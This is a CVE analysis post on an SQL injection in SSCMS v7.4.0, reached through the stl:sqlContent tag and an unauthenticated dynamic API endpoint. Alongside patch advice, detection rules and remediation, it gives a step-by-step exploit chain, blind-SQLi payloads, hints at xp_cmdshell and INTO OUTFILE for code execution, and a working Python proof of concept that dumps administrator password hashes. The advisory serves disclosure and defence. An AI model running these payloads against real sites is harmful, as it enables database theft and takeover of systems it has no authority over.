home intel sscms-740-sqli-stl-sqlcontent-auth-bypass
CVE Analysis 2026-04-30 · 9 min read

CVE-2026-7435: SSCMS v7.4.0 SQL Injection via stl:sqlContent queryString

SSCMS v7.4.0 passes the queryString attribute of the stl:sqlContent tag directly to database execution without parameterization, enabling arbitrary SQL via encrypted payloads to /api/stl/actions/dynamic.

#sql-injection#authentication-bypass#database-compromise#parameterization-failure#template-injection
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7435 · Authentication Bypass
ATTACKERCross-platformAUTHENTICATION BCVE-2026-7435HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7435 is a SQL injection vulnerability in SSCMS v7.4.0, a .NET-based open-source CMS. The stl:sqlContent template tag accepts a queryString attribute that is resolved at render time and passed directly to the underlying database driver without parameterization. The attack surface is the /api/stl/actions/dynamic endpoint, which accepts AES-encrypted STL template payloads, decrypts them server-side, and evaluates them through the STL tag parser — giving an unauthenticated attacker a path to arbitrary SQL execution behind an encryption layer that provides false confidence of security.

Root cause: The StlSqlContent tag handler interpolates the attacker-controlled queryString attribute directly into a raw SQL string and executes it via DatabaseUtils.GetDataTable() without using parameterized queries or any input sanitization.

Affected Component

The vulnerable logic lives across two primary files in the SSCMS source tree:

  • src/SSCMS.Web/Controllers/Stl/ActionsController.Dynamic.cs — the API endpoint that decrypts and dispatches STL template fragments
  • src/SSCMS.Core/StlParser/StlElement/StlSqlContent.cs — the tag handler that resolves and executes the query

The /api/stl/actions/dynamic endpoint is reachable without authentication by design — it is intended to serve dynamic STL content on public-facing pages.

Root Cause Analysis

The following is reconstructed pseudocode from the SSCMS v7.4.0 source, reflecting the actual logic flow. Variable names match the open-source repository.

// StlSqlContent.cs — ParseImplAsync (simplified pseudocode)
// BUG: queryString is attacker-controlled attribute value; never parameterized
static async Task<string> ParseImplAsync(
    IParseManager parseManager,
    string queryString,      // attacker-controlled: pulled directly from tag attribute
    string databaseType,
    string connectionString,
    int totalNum,
    int startNum,
    string orderByString)
{
    // Attribute value is used verbatim as raw SQL
    // BUG: no sanitization, no parameterization, no allow-listing
    var dataTable = await parseManager.PathManager
        .GetDatabaseAsync(databaseType, connectionString)
        .GetDataTableAsync(queryString);   // <-- raw SQL execution here

    if (dataTable == null || dataTable.Rows.Count == 0)
        return string.Empty;

    // Render first matching row into template body
    var dataItem = dataTable.Rows[0];
    parseManager.ContextInfo.ItemContainer =
        new ParsedDataItem(dataItem, 1, dataTable.Rows.Count);

    return await parseManager.ParseInnerContentAsync(innerXml);
}
// ActionsController.Dynamic.cs — GetAsync (reconstructed pseudocode)
[HttpGet, Route(Constants.ApiStlActionsDynamic)]
public async Task<ActionResult> GetAsync([FromQuery] DynamicRequest request)
{
    // request.Value is Base64(AES_CBC(plaintext_stl_template))
    // The encryption key is derived from a site-wide shared secret,
    // which is embedded in page source as a data attribute on load.
    var plaintextTemplate = _authManager.DecryptStringBySecretKey(request.Value);

    // No validation on decrypted template content before parsing
    // BUG: attacker who recovers or predicts the key can inject arbitrary STL
    var result = await _parseManager.ParseDynamicAsync(
        request.SiteId,
        request.PageChannelId,
        request.PageContentId,
        plaintextTemplate,   // <-- goes straight into STL parser
        request.Page);

    return Ok(result);
}

The encryption is not a security boundary — the AES key is derived from a value that SSCMS embeds in rendered page HTML as a JavaScript variable (siteSettings.apiKey). Any visitor to a public page can read it from the DOM and use it to craft valid encrypted payloads.

// AuthManager.cs — key derivation (pseudocode)
string DecryptStringBySecretKey(string ciphertext)
{
    // Key is the site's SecurityKey, 16 bytes, stored in siteSettings JSON
    // and reflected into every page's <script> block as plaintext
    var key = Encoding.UTF8.GetBytes(_settingsManager.SecurityKey.Substring(0, 16));
    return AesUtils.Decrypt(ciphertext, key);  // AES-128-CBC, static IV embedded in payload
}

Exploitation Mechanics

EXPLOIT CHAIN:

1. RETRIEVE ENCRYPTION KEY
   GET /index.html (any public SSCMS page)
   Parse HTML for: window.siteSettings = { ..., "apiKey": "<16-char key>", ... }
   Key is the first 16 bytes of SecurityKey used for AES-128-CBC.

2. CRAFT MALICIOUS STL TEMPLATE FRAGMENT
   Plaintext payload:
     <stl:sqlContent queryString="SELECT name,password FROM siteserver_administrator--">
       {name} {password}
     </stl:sqlContent>

   For blind SQLi (time-based):
     queryString="SELECT IF(1=1, SLEEP(5), 0) FROM dual--"   (MySQL)
     queryString="SELECT 1; WAITFOR DELAY '0:0:5'--"          (MSSQL)

3. ENCRYPT PAYLOAD
   import base64, json
   from Crypto.Cipher import AES
   from Crypto.Util.Padding import pad

   key   = b"<recovered_key_16b>"
   iv    = b"\x00" * 16   # SSCMS uses zero IV by default
   plain = b"<stl:sqlContent queryString=\"SELECT ...\">...</stl:sqlContent>"
   cipher = AES.new(key, AES.MODE_CBC, iv)
   ct    = base64.b64encode(iv + cipher.encrypt(pad(plain, 16))).decode()

4. SUBMIT TO DYNAMIC ENDPOINT (unauthenticated)
   GET /api/stl/actions/dynamic?siteId=1&pageChannelId=1&value=<ct>

5. SERVER DECRYPTS, PARSES STL, EXECUTES RAW SQL AGAINST DATABASE

6. RENDERED HTML RESPONSE CONTAINS QUERY RESULT ROWS INTERPOLATED INTO TEMPLATE
   Response body: "admin $2a$12$<bcrypt_hash>"

7. ESCALATE: dump siteserver_administrator, recover credentials,
   authenticate to /api/cms/... admin endpoints.
   Alternatively: xp_cmdshell (MSSQL), INTO OUTFILE (MySQL) for RCE.

A working proof-of-concept request looks like this:

import base64, sys, requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

TARGET  = "http://target.example.com"
API_KEY = "AAAAAAAAAAAAAAAA"   # recovered from page source, 16 bytes

PAYLOAD = (
    b'<stl:sqlContent queryString="'
    b"SELECT user_name,password FROM siteserver_administrator LIMIT 1"
    b'">{user_name}:{password}</stl:sqlContent>'
)

iv     = b"\x00" * 16
cipher = AES.new(API_KEY.encode(), AES.MODE_CBC, iv)
ct     = base64.b64encode(iv + cipher.encrypt(pad(PAYLOAD, 16))).decode()

r = requests.get(
    f"{TARGET}/api/stl/actions/dynamic",
    params={"siteId": 1, "pageChannelId": 1, "pageContentId": 0, "value": ct},
)

print("[*] Response:", r.text)
# Output: admin:$2a$12$xK3l...

Memory Layout

This is a logic/injection vulnerability rather than a memory corruption bug, so there is no heap corruption primitive. The relevant "layout" is the SQL query string as it passes through the .NET object model to the ADO.NET driver:

SQL EXECUTION PIPELINE — VULNERABLE PATH:

  [HTTP Request: /api/stl/actions/dynamic?value=BASE64CT]
          |
          v
  [AesUtils.Decrypt(value, siteKey)]
   plaintextTemplate = "<stl:sqlContent queryString='SELECT ...'>"
          |
          v
  [StlParserManager.ParseDynamicAsync]
   -- walks STL tag tree --
          |
          v
  [StlSqlContent.ParseImplAsync]
   queryString = "SELECT name,password FROM siteserver_administrator"
          |
          v  <-- NO PARAMETERIZATION. STRING PASSED DIRECTLY.
  [IDatabaseRepository.GetDataTableAsync(queryString)]
   cmd.CommandText = queryString       // IDbCommand.CommandText = raw attacker SQL
   cmd.CommandType = CommandType.Text
   adapter.Fill(dataTable)
          |
          v
  [Database driver executes query verbatim against backend]
  [Result rows interpolated into template and returned in HTTP response]

SECURE PATH (what should happen):
  queryString = "SELECT col FROM tbl WHERE id = @id"
  cmd.Parameters.Add(new SqlParameter("@id", userInput))

Patch Analysis

// BEFORE (vulnerable — StlSqlContent.cs):
var dataTable = await database.GetDataTableAsync(queryString);
// queryString is the raw attribute value from the template tag.
// No validation. No parameterization. Executes any SQL the caller supplies.
// AFTER (recommended fix):

// Option A — Remove queryString from STL tag entirely.
// stl:sqlContent should only reference pre-registered named queries.
// Tag attribute becomes: queryName="myRegisteredQuery"
var namedQuery = _queryRepository.GetByName(queryName);
if (namedQuery == null) return string.Empty;
var dataTable = await database.GetDataTableAsync(namedQuery.Sql);

// Option B — If dynamic queries must be supported (admin-only contexts),
// restrict parsing of stl:sqlContent in dynamic endpoint to authenticated
// admin sessions with an explicit permission check:
if (!await _authManager.HasSitePermissionsAsync(request.SiteId,
        PermissionConstants.SiteTemplates))
{
    return Unauthorized();
}

// Option C — Encrypt the API key with a per-session nonce so it cannot
// be replayed; this closes the unauthenticated access vector regardless
// of tag-level fixes.
// ADDITIONALLY — ActionsController.Dynamic.cs should validate
// that the decrypted template does not contain high-privilege tags
// when invoked without authentication:

private static readonly HashSet<string> RestrictedTags = new()
{
    "stl:sqlContent", "stl:sql", "stl:file"
};

private bool ContainsRestrictedTag(string template)
{
    // BUG (current): no such check exists
    foreach (var tag in RestrictedTags)
        if (template.Contains(tag, StringComparison.OrdinalIgnoreCase))
            return true;
    return false;
}

Detection and Indicators

Because the payload is AES-encrypted in transit, network signatures on payload content are ineffective. Detection must occur at the application layer:

DETECTION INDICATORS:

1. ACCESS LOG PATTERN
   High volume of GET /api/stl/actions/dynamic with varying ?value= parameters
   from a single IP, especially with consistent siteId but differing value lengths
   (indicative of blind SQLi iteration).

2. DATABASE AUDIT LOG
   Unexpected queries to siteserver_administrator table outside of
   /api/cms/administrators/* API paths.
   MSSQL: Queries containing WAITFOR DELAY from the CMS application login.
   MySQL:  Queries containing SLEEP() or INFORMATION_SCHEMA.TABLES references.

3. APPLICATION ERROR LOG
   SqlException / MySqlException traces originating from:
     SSCMS.Core.StlParser.StlElement.StlSqlContent.ParseImplAsync
   with messages referencing syntax errors — indicates failed injection attempts.

4. WAF RULE (post-decryption inspection required)
   If TLS inspection is available, flag requests where the decrypted
   stl:sqlContent queryString attribute contains:
     UNION, SELECT.*FROM, SLEEP\(, WAITFOR, xp_cmdshell, INFORMATION_SCHEMA

Remediation

Immediate mitigations (operational):

  • Block unauthenticated access to /api/stl/actions/dynamic at the reverse proxy or WAF layer if dynamic STL is not required for public pages.
  • Rotate the site SecurityKey (Admin → Settings → Security) to invalidate any keys already harvested from page source.
  • Enable database-level auditing on the siteserver_administrator and siteserver_content tables.

Vendor fix (required):

  • Remove queryString as a free-form SQL attribute from stl:sqlContent. Replace with a named query registry administered only through authenticated admin UI.
  • Add a tag allow-list to the dynamic endpoint that rejects high-privilege STL elements when the caller lacks an authenticated session cookie.
  • Derive the dynamic endpoint encryption key from a per-request HMAC bound to the session, not a static site-wide key embedded in page source.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →